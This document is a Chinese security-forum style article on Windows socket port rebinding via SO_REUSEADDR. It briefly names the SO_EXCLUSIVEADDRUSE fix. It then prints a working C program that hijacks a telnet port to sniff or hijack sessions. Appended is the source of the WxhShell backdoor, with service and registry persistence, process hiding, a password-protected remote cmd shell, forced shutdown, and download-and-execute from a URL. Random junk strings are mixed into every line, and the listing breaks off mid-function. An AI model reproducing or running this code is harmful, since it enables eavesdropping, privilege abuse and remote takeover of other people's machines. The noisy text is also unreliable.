在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
oveK;\7/m s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
*Ms"{+C VX>j2Z' saddr.sin_family = AF_INET;
5Pxx)F9] }6<5mq)% saddr.sin_addr.s_addr = htonl(INADDR_ANY);
G_,9h!e 6-0sBB9=u bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
I,`;#Q)nx mfS}+_ C 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
KfYU.Q q-ko)] 这意味着什么?意味着可以进行如下的攻击:
odC"#Rb yT5OFD|T 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
yU4mS;GX nk7>iK!i 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
0NKgtH~+ sR[!6[AA 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
x[&<e<6 iyd$_CJ z 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
vy{k"W&S G%;>_E 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
au/LoO#6Ro VJT /9O)Z| 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Y_n3O@, VB#&`]rdo 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
R!
On c@"FV,L> #include
4,Oa(b #include
<\O8D0.d #include
o3GkTn O #include
G5K?Q+n
DWORD WINAPI ClientThread(LPVOID lpParam);
(V\N1T,f int main()
ir>h3Zk {
II| ;_j WORD wVersionRequested;
]Y!Fz<-;P DWORD ret;
%7P]:G+Y\ WSADATA wsaData;
>u(^v@Ejf BOOL val;
J:gC1g^ SOCKADDR_IN saddr;
;UM(y@ SOCKADDR_IN scaddr;
S50}]5K
int err;
VltM{-k^ SOCKET s;
s%`l>#H SOCKET sc;
VHMQY*lk int caddsize;
sQkijo. HANDLE mt;
/4 OmnE; DWORD tid;
"~._G5i. wVersionRequested = MAKEWORD( 2, 2 );
sxph#E% err = WSAStartup( wVersionRequested, &wsaData );
,Xfu?Yan if ( err != 0 ) {
=~Qg(=U0U printf("error!WSAStartup failed!\n");
kp* ! return -1;
JGTsVa2 }
m"'LT0nur saddr.sin_family = AF_INET;
US(RWXyg <FBBR2 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
SZ9DT CEaAtAM saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
E;x-O)(& saddr.sin_port = htons(23);
, QWus"5H if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
W02z}"# {
P5oS 1iu* printf("error!socket failed!\n");
#$-?[c$> return -1;
ab%I&B<b }
v;9(FLtL val = TRUE;
o{fYoBgr //SO_REUSEADDR选项就是可以实现端口重绑定的
U5H%wA['m if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
")\V {
L6Brs"9B printf("error!setsockopt failed!\n");
IF5-@hag, return -1;
UH}lKc=t }
'N+;{8C-{ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
W&R67ff| //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
:q*w_*w //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
R6oD o5DT1>h if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
jOrfI-&.G {
1/w8'Kf'u ret=GetLastError();
h]t v+\0 printf("error!bind failed!\n");
%<a3[TQd`\ return -1;
B ;E"VS0 }
w9VwZow listen(s,2);
?O#,{ZZf= while(1)
: slO0 {
8a)Brl}u caddsize = sizeof(scaddr);
B=~y(Mb //接受连接请求
y&5
O) sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
.R"VLE| if(sc!=INVALID_SOCKET)
3~Fag1Hp {
.Y]0gi8z mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
P-gj SE|yh if(mt==NULL)
r(uo-/7z {
oxN5:) printf("Thread Creat Failed!\n");
EFh^C.S8 break;
XX%K_p`&Z }
YW&K,)L@ }
OObAn^bt CloseHandle(mt);
EJTM
>Rpor }
nb=mY&q}~ closesocket(s);
6)*fr'P WSACleanup();
.!0Rh9yyl return 0;
9?O8j1F }
=Q<7[ DWORD WINAPI ClientThread(LPVOID lpParam)
+
c3pe4 {
*->*p35 SOCKET ss = (SOCKET)lpParam;
mHW%:a\L SOCKET sc;
>.`*KQdan unsigned char buf[4096];
vr4r,[B6y SOCKADDR_IN saddr;
h+j^VsP zB long num;
z{\tn.67 DWORD val;
2XeyNX DWORD ret;
|e2s\?nB0S //如果是隐藏端口应用的话,可以在此处加一些判断
m!w|~Rk //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
' *a}*(0OA saddr.sin_family = AF_INET;
W-#DEU 7_ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
'q$ Ym0nL saddr.sin_port = htons(23);
.#SgU<Wq if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
1~K'r& {
Bt}90# printf("error!socket failed!\n");
jIe
/X] return -1;
^O@eyP }
B!x#|vGXL val = 100;
v9Ii8{ca| if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
pMHl<HH {
\zg R]| ret = GetLastError();
9]l I?j]o return -1;
6_QAE6A }
'vVWUK956 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
5Ex[}y9L` {
L+%kibnY' ret = GetLastError();
Os$E,4,py return -1;
kOD=H-vSi }
a<\n$E#q if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
D|)_c1g {
|rk.t g9 printf("error!socket connect failed!\n");
06 %-tAq: closesocket(sc);
}RadbJ{q= closesocket(ss);
RVwS<g)~1 return -1;
4Xa]yA = }
:FS5BT$= while(1)
bk<Rp84vL {
b<~8\\& //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
^`id/ //如果是嗅探内容的话,可以再此处进行内容分析和记录
uBt
]4d* //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
pIC'nO_ num = recv(ss,buf,4096,0);
+vxf_*0; if(num>0)
TBPu&+3 send(sc,buf,num,0);
I1':&l^O else if(num==0)
7<e}5nA/ break;
E!1\9wzM{ num = recv(sc,buf,4096,0);
ri8=u$! if(num>0)
9MZ)- send(ss,buf,num,0);
hDB(y4/ else if(num==0)
3WQa^'u break;
Sxc)~y }
.uauSx/#4 closesocket(ss);
V;MmPNP| closesocket(sc);
E-C]<{`O return 0 ;
L%Zr3Ct }
P7=`P (["kbPma pu/5#[MC)^ ==========================================================
;.sYE/ZVi ^_@[1'^ 下边附上一个代码,,WXhSHELL
~8nR3ki EIQ3vOq6 ==========================================================
z;oia!9z TIiYic!_~ #include "stdafx.h"
\MRd4vufv o c]
C+l #include <stdio.h>
v"yu7tZ3N #include <string.h>
B2]52Fg-" #include <windows.h>
V{oFig 6 #include <winsock2.h>
VNT? #include <winsvc.h>
uoE+:,P #include <urlmon.h>
])F+ C/Px1 B7'#8heDh #pragma comment (lib, "Ws2_32.lib")
$%bd`d*S #pragma comment (lib, "urlmon.lib")
F*J1w|)F0 Lw[=pe0e #define MAX_USER 100 // 最大客户端连接数
5\h 6"/6Df #define BUF_SOCK 200 // sock buffer
lBFKfLp& #define KEY_BUFF 255 // 输入 buffer
%8u9:Cl): #2U# h-vI #define REBOOT 0 // 重启
n4dNGp7\` #define SHUTDOWN 1 // 关机
H}~K51 SF;\*]["f #define DEF_PORT 5000 // 监听端口
zW#5 /*@ fn
'n'X| #define REG_LEN 16 // 注册表键长度
E`JW4)AH #define SVC_LEN 80 // NT服务名长度
R_/;U&R Mo N/?VA // 从dll定义API
W3!-;l typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
2#5Q~ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
)cizd^{ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
+d=f_@i typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
na
$MR3@e Xn=yC Pi // wxhshell配置信息
2_ u+&7 struct WSCFG {
Z ;rM@x int ws_port; // 监听端口
%XukiA+ char ws_passstr[REG_LEN]; // 口令
}(u:K}8 int ws_autoins; // 安装标记, 1=yes 0=no
KPz0;2} char ws_regname[REG_LEN]; // 注册表键名
BZ.l[LMp char ws_svcname[REG_LEN]; // 服务名
${z#{c1 char ws_svcdisp[SVC_LEN]; // 服务显示名
eC<RM Q4 char ws_svcdesc[SVC_LEN]; // 服务描述信息
sjLMM_' char ws_passmsg[SVC_LEN]; // 密码输入提示信息
~
2Hw\fx int ws_downexe; // 下载执行标记, 1=yes 0=no
)tJaw#Mih char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
!Ltx2CB2] char ws_filenam[SVC_LEN]; // 下载后保存的文件名
)=}qAVO8 uVD^X* };
qB_s<cpn> H[?S*/n,< // default Wxhshell configuration
[>dDRsZ struct WSCFG wscfg={DEF_PORT,
Sw E7U~ "xuhuanlingzhe",
X);'[/]E* 1,
>>J$`0kM* "Wxhshell",
/_J{JGp9 "Wxhshell",
rWJ5C\R
"WxhShell Service",
",aNYJR>*! "Wrsky Windows CmdShell Service",
`]l`t"x "Please Input Your Password: ",
B<BS^waU 1,
jRiMWolLv "
http://www.wrsky.com/wxhshell.exe",
EgPL+qL "Wxhshell.exe"
o%j?}J7y };
C1_0 9Vc JL#LCU
? // 消息定义模块
6 M:?W" char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
1SS1P0Ur char *msg_ws_prompt="\n\r? for help\n\r#>";
WxYEu+_ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Y J,"@n_ char *msg_ws_ext="\n\rExit.";
iNkN'(" char *msg_ws_end="\n\rQuit.";
|X1axRO char *msg_ws_boot="\n\rReboot...";
'L3MHTM>[ char *msg_ws_poff="\n\rShutdown...";
a_+3, fP char *msg_ws_down="\n\rSave to ";
G|nBja8vm ]}'bRq*] char *msg_ws_err="\n\rErr!";
,S
dj"C char *msg_ws_ok="\n\rOK!";
6e \?%,H u0+F2+ I char ExeFile[MAX_PATH];
L;*7p9 int nUser = 0;
[[T6X9 HANDLE handles[MAX_USER];
kdGq\k, int OsIsNt;
\41/84BA .9ZK@xM&? SERVICE_STATUS serviceStatus;
'vtJl SERVICE_STATUS_HANDLE hServiceStatusHandle;
ygja{W. ,OwTi:yDr // 函数声明
]SAY\;,_ int Install(void);
qm/>\4eLt int Uninstall(void);
0sw;h.VY int DownloadFile(char *sURL, SOCKET wsh);
B2$cY;LH int Boot(int flag);
NGi)Lh| void HideProc(void);
qY%|Uo int GetOsVer(void);
4Dzg r,V int Wxhshell(SOCKET wsl);
P4yUm(@ void TalkWithClient(void *cs);
{ly <%Q7j int CmdShell(SOCKET sock);
]m`:T int StartFromService(void);
MkGQ int StartWxhshell(LPSTR lpCmdLine);
^NX;zc `"ks0@^U VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
%k?/pRv$> VOID WINAPI NTServiceHandler( DWORD fdwControl );
p8j4Tc5tQ> M]Vi]s // 数据结构和表定义
NL|c5y<r SERVICE_TABLE_ENTRY DispatchTable[] =
PJm@fK(j {
a,4GE' {wscfg.ws_svcname, NTServiceMain},
_(m455HZ {NULL, NULL}
a3M I+ };
*iru>F8r: 2Jiy`(P // 自我安装
(FGy"o%TP' int Install(void)
H1?C:R {
E71H=C 4 char svExeFile[MAX_PATH];
@^ta)Ev HKEY key;
$A 5O> strcpy(svExeFile,ExeFile);
_VgFuU$h o@PvA1 // 如果是win9x系统,修改注册表设为自启动
<%wTI<m,- if(!OsIsNt) {
a"Iu!$&N if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
oVP,ar0G RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
uAnL` RegCloseKey(key);
W!" $g if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
@6~m&$R/ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
;,]4A{| RegCloseKey(key);
/#{~aCOi) return 0;
qB@N|Bb }
8MDivr/@ }
on8$Kc }
,if~%'9j else {
F
]D^e{y ( -q0!]E // 如果是NT以上系统,安装为系统服务
$tW E9_ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
.EWj eVq if (schSCManager!=0)
]QY-LO( {
6||%T$_;} SC_HANDLE schService = CreateService
yMkR)HY (
-@w}}BR schSCManager,
KRd'!bG=1 wscfg.ws_svcname,
o@
^^;30 wscfg.ws_svcdisp,
->{\7|^ SERVICE_ALL_ACCESS,
#%$@[4"V SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
)!VJ\ SERVICE_AUTO_START,
$SA
@ " SERVICE_ERROR_NORMAL,
f$}g'r zl svExeFile,
:rufnmsP<U NULL,
# ^,8JRA NULL,
/8:e|
] NULL,
+6+1N)L NULL,
Kn1u1@&Xd NULL
Z{%W!>0 );
kda*rl~c if (schService!=0)
u#u/uS" {
IAb.Z+ig CloseServiceHandle(schService);
.&b c3cW CloseServiceHandle(schSCManager);
o:5mgf7 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
PQF
40g1} strcat(svExeFile,wscfg.ws_svcname);
qD"~5vtLqQ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
)Mflt0fp RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
NODg_J~T RegCloseKey(key);
4\V/A+<W return 0;
OiC|~8 }
peS4<MqWu }
T$FKn CloseServiceHandle(schSCManager);
Ai 8+U) }
_a$5" }
t=:5?}J.Q$ $Sm iN'7; return 1;
]I/* J^ }
iSX:H; XF3lS#pt // 自我卸载
tycVcr\( int Uninstall(void)
r4 5}o {
!p36OEx HKEY key;
h;(mb2[R lt5Knz2G,Z if(!OsIsNt) {
(?T{^Hg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
3-;<G RegDeleteValue(key,wscfg.ws_regname);
&C9)%5O) RegCloseKey(key);
.
Z9c.E{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
$i3`cX)g RegDeleteValue(key,wscfg.ws_regname);
GX.a!XQ@! RegCloseKey(key);
(Cti,g~ return 0;
meap ;p }
S n~P1C }
~S
:8M<aB }
]5j>O^c< else {
U
CFw+ `5x0p a SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Xk/:a}-l if (schSCManager!=0)
+-V4:@ {
mMu+MXTk< SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
#MMp0 if (schService!=0)
1!+0]_8K {
O#8lJ%? if(DeleteService(schService)!=0) {
X,8Zn06M CloseServiceHandle(schService);
_-v$fDrz CloseServiceHandle(schSCManager);
7oL:C return 0;
(o\D=!a }
,( hP /< CloseServiceHandle(schService);
vON7~KA }
HyQ(9cn| CloseServiceHandle(schSCManager);
Mg^A,8lrm }
7Y4D9pw }
Csgby(D*O ]P^3uXi return 1;
9CIQRc }
PCBV6Y7r m60hTJ?N) // 从指定url下载文件
^6CPC@B1 int DownloadFile(char *sURL, SOCKET wsh)
n34d"l3 {
h^{aG ]) HRESULT hr;
r24
s_ char seps[]= "/";
kMa|V0 char *token;
Z0V6cikW6 char *file;
54s90 char myURL[MAX_PATH];
0(uba3z char myFILE[MAX_PATH];
@'J~(#} tg%Sn+: strcpy(myURL,sURL);
O15~\8#' token=strtok(myURL,seps);
3Dh{#"88 while(token!=NULL)
1iM(13jW {
d-8g file=token;
S->S p token=strtok(NULL,seps);
5VN~?#K }
NfCo)C-t O]25{L GetCurrentDirectory(MAX_PATH,myFILE);
]jmZ5h#[ strcat(myFILE, "\\");
z`dnS]q9 strcat(myFILE, file);
W3MH8z
send(wsh,myFILE,strlen(myFILE),0);
p5nrPL send(wsh,"...",3,0);
tKi^0vE8 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
<V8=*n"mR if(hr==S_OK)
qV$0 ";d return 0;
VhgcvS@V else
s"wz !{G4 return 1;
=NRiro IPY[x| }
q6
4bP4K bh5C // 系统电源模块
y<yU5 int Boot(int flag)
gX5.u9%C\ {
[s-!tE3- HANDLE hToken;
{]y!2r TOKEN_PRIVILEGES tkp;
#vcQ =%;O Ei@al>.\ if(OsIsNt) {
URyY^+s OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
8vvNn>Q LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
DeN$YE#* tkp.PrivilegeCount = 1;
5XNFu C9E tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
DCCij N AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
s*kSl:T@O if(flag==REBOOT) {
+ldgT" if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
aSSw>*?Q return 0;
Q(hAV }
~?lmkfy else {
OZl0I#@A if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
!8J%%Ux&M return 0;
yMb.~A^$J }
MWn[]'TpH }
=vKSvQP@) else {
bxww1NG>|Z if(flag==REBOOT) {
YQ}IE[J}v if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
c/G^}d% return 0;
0t00X/ }
.YIb ny1 else {
qd
[Z\B if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
UO>S2u return 0;
/.1h_[K] }
&<5oDdC }
=I)Ex) wpJfP_H return 1;
N..@}} }
iM{aRFL h{VGhkU9f // win9x进程隐藏模块
pW2-RHGJY void HideProc(void)
\XG\ {
'n!Sco)C 5'"9)#Ve HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
#tt*yOmiH if ( hKernel != NULL )
Ni61o?]Nj {
mk?F+gh pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
EnjSio0 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
</h}2x FreeLibrary(hKernel);
y/Q,[Uzk\ }
+q~dS. H:L<gv(rG return;
qH*Fv:qnM }
^:m7Qd?Z[ \;Q:a
/ur9 // 获取操作系统版本
#mc GT\tQ int GetOsVer(void)
q6N6QI8/ {
0$q)uip OSVERSIONINFO winfo;
Yg3emn|a winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
;rh@q4# GetVersionEx(&winfo);
Y[alOJ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
8Jf4"; return 1;
-$kAWP8P4 else
_WHGd&u return 0;
%3$EV}dp }
#j${R={ C?VNkBJ>\ // 客户端句柄模块
d}]jw4 int Wxhshell(SOCKET wsl)
*Q2}Qbu {
Ceak8#|4 SOCKET wsh;
|jyoT%SQ struct sockaddr_in client;
=(>pv, DWORD myID;
mA']*)L1 I> 3]VRi while(nUser<MAX_USER)
Z"'tJ3Y.~ {
LO
M-i> int nSize=sizeof(client);
c{K[bppJ* wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
$<s
3;>t if(wsh==INVALID_SOCKET) return 1;
%C(^v)" si3@R?WR6* handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
=G%L:m* if(handles[nUser]==0)
XVkCYh4, closesocket(wsh);
Kh2!c+Mw else
T0P_&E@X nUser++;
iwT
PJGK| }
;R{ffS6 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
"iTi+UZxe 5j$a3nH return 0;
)*n2,n }
~5b^Gvb? Eh&HN-& // 关闭 socket
[&a=vE void CloseIt(SOCKET wsh)
YhNO{4D {
/%w3(e closesocket(wsh);
$[DSe~ nUser--;
l^%W/b>?b ExitThread(0);
K';x2ffj }
*b+~@o eww/tG a // 客户端请求句柄
"Z*u2_ H void TalkWithClient(void *cs)
/p_#8}Uh {
jz72~+)T ^26}j uQ SOCKET wsh=(SOCKET)cs;
t bEJyA char pwd[SVC_LEN];
%6@->c{ char cmd[KEY_BUFF];
JP*VR=0k? char chr[1];
dw]jF=u int i,j;
Z1ZjQt#~+ /32x|Ow# 1 while (nUser < MAX_USER) {
Z.
G<' wxSJ if(wscfg.ws_passstr) {
2h5L#\H" if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Doc_rQYku //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
e.jbFSnA //ZeroMemory(pwd,KEY_BUFF);
V+&C_PyC i=0;
mJ L=H while(i<SVC_LEN) {
|QB[f*y5 !U8n=A#,- // 设置超时
>crFIkOJ fd_set FdRead;
24Uvi:B?~ struct timeval TimeOut;
5|0} FD_ZERO(&FdRead);
UCVdR<<Z FD_SET(wsh,&FdRead);
==)q{e5 TimeOut.tv_sec=8;
Yb;$z' TimeOut.tv_usec=0;
XdxSi"+ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
3r-oZ8/n if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
$;%k:&\f Th>ff)~e if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
G"|`&r@ pwd
=chr[0]; %$CV?K$C
if(chr[0]==0xd || chr[0]==0xa) { K)[DA*W
pwd=0; %{HeXe
break; DA wUG
} 8*Ke;X~N
i++; |g,99YIv>
} Js}1_K
ni`uO<\U
// 如果是非法用户,关闭 socket {ZIEIXWb2
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >#~>!cv6D
} J_rb3
I$HO[Z!
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g?i0WS
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @K=C`N_22
GZWU=TC2{2
while(1) { GW;O35
m
#4BwYj(Sl
ZeroMemory(cmd,KEY_BUFF); NY3.?@Z
"1HKD
// 自动支持客户端 telnet标准 qe<aJn
j=0; ^M6R l0
while(j<KEY_BUFF) { %"CF-K@th
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f'?FYBL
cmd[j]=chr[0]; *9O@DF&*6
if(chr[0]==0xa || chr[0]==0xd) { <b#1L
cmd[j]=0;
&-zW1wf
break; L| K8
} zW9/[Db
j++; &ku.Q3xGs
} +nU=)x?38
33z^Q`MTC
// 下载文件 IB\O[R$x
if(strstr(cmd,"http://")) { }NpN<C+
send(wsh,msg_ws_down,strlen(msg_ws_down),0); wlsq[xP
if(DownloadFile(cmd,wsh)) )wyC8` &-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -"uOh,G}
else *r(Qy0(
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {U"=}j(
} HP2J`>oo
else { !hWS%m@
yB2}[1
switch(cmd[0]) { o'J^kd`
*!m(oP
// 帮助 u1;sH{YK>
case '?': { T7R,6qt
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %i5tf;x6i
break; '@dk3:3t
} >yf}9Zs
// 安装 ~`X$bF
case 'i': { g$h`.Fk,
if(Install()) TY;%nT
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7 >-(g+NF!
else W:8pmI
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Kw=][}d`D
break; )}lO%B'K
} ^?5HagA
// 卸载 PvB{@82
case 'r': { +;/ s0
if(Uninstall()) 8/T[dn
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;u;_\k<qK
else 7_ s7);
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \=uD)9V
break; F4PWL|1
} t Z@OAPRx
// 显示 wxhshell 所在路径 {4eI}p<
case 'p': { {H3B1*Dk
char svExeFile[MAX_PATH]; 9";qR,
strcpy(svExeFile,"\n\r"); 21[=xboU
strcat(svExeFile,ExeFile); T^Ol=QCu
send(wsh,svExeFile,strlen(svExeFile),0); #
11<=3Yj
break; QD^q\9U[
} (;9j#x
// 重启 hip't@.uE
case 'b': { %l[]n;*$
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); sA2esA@C<o
if(Boot(REBOOT)) W:>XXUU
send(wsh,msg_ws_err,strlen(msg_ws_err),0); yT|44
D2j
else { N qS]dH61
closesocket(wsh); r;_*.|AH
ExitThread(0); KAg-M#
} 9AJ"C7
break; NA=m<n#
} 4*'ZabDD
// 关机 J,:Wv`N:9~
case 'd': { 4s6,`-
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4JRQ=T|P7I
if(Boot(SHUTDOWN)) zZ 94_8b
send(wsh,msg_ws_err,strlen(msg_ws_err),0); K-[;w$np0
else { |7QSr!{_
closesocket(wsh); ~S\,
ExitThread(0); xnxNc5$oE
} Rxlz`&
break; EY^?@D_<
} $8}'h
// 获取shell gg/2R?O]
case 's': { :. u2^*<
CmdShell(wsh); G=er0(7<
closesocket(wsh); 4%#q.qI
ExitThread(0); c#-*]6x
break;
&H[7UyC
} _Kbj?j
// 退出 Ca-.&$f
case 'x': { o)n=n!A
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); k}C4:?AT
CloseIt(wsh); $WXO1o(O
break; 8[;AFm ?,`
} f>|Wd;7l:
// 离开 + w'q5/`
case 'q': { s|I$c;>
send(wsh,msg_ws_end,strlen(msg_ws_end),0); CEAmb[h
closesocket(wsh); vNju|=Lo
WSACleanup(); 9_O6Sl
exit(1); Gk
xtGe
break; wg<t*6&'x
} 45k.U $<|
} <}T7;knO
} Yv.7-DHNl
+j %y#_~
// 提示信息 A7 6HM@Q
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &?}A/(#
} ~C>clkZ
} rv`GOta*
H@b4(6
return; nok-![
} "'C5B>qO
9h/Hy aN
// shell模块句柄 ~E/=nv$
int CmdShell(SOCKET sock) v#EFklOP
{ [8Fn0A
STARTUPINFO si; )2Bb,p<Wr
ZeroMemory(&si,sizeof(si)); #lO ^PK
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O`5h jq#
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \AIFIy
PROCESS_INFORMATION ProcessInfo; /P Tq.
char cmdline[]="cmd"; vqZBDQ0
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); t)= dKC
return 0; q0DRT4K
} [RY Rt/?Q
J=&}$
// 自身启动模式 lF
t^dl^
int StartFromService(void) ?C- ju8]|
{ U1(cBY
typedef struct v!$:t<-5N
{ mT #A?C2
DWORD ExitStatus; E]}_hZU
DWORD PebBaseAddress; "l hj1zZ
DWORD AffinityMask; 0wCQPvO
DWORD BasePriority; |3^U\r^zo
ULONG UniqueProcessId; r-*j"1 e
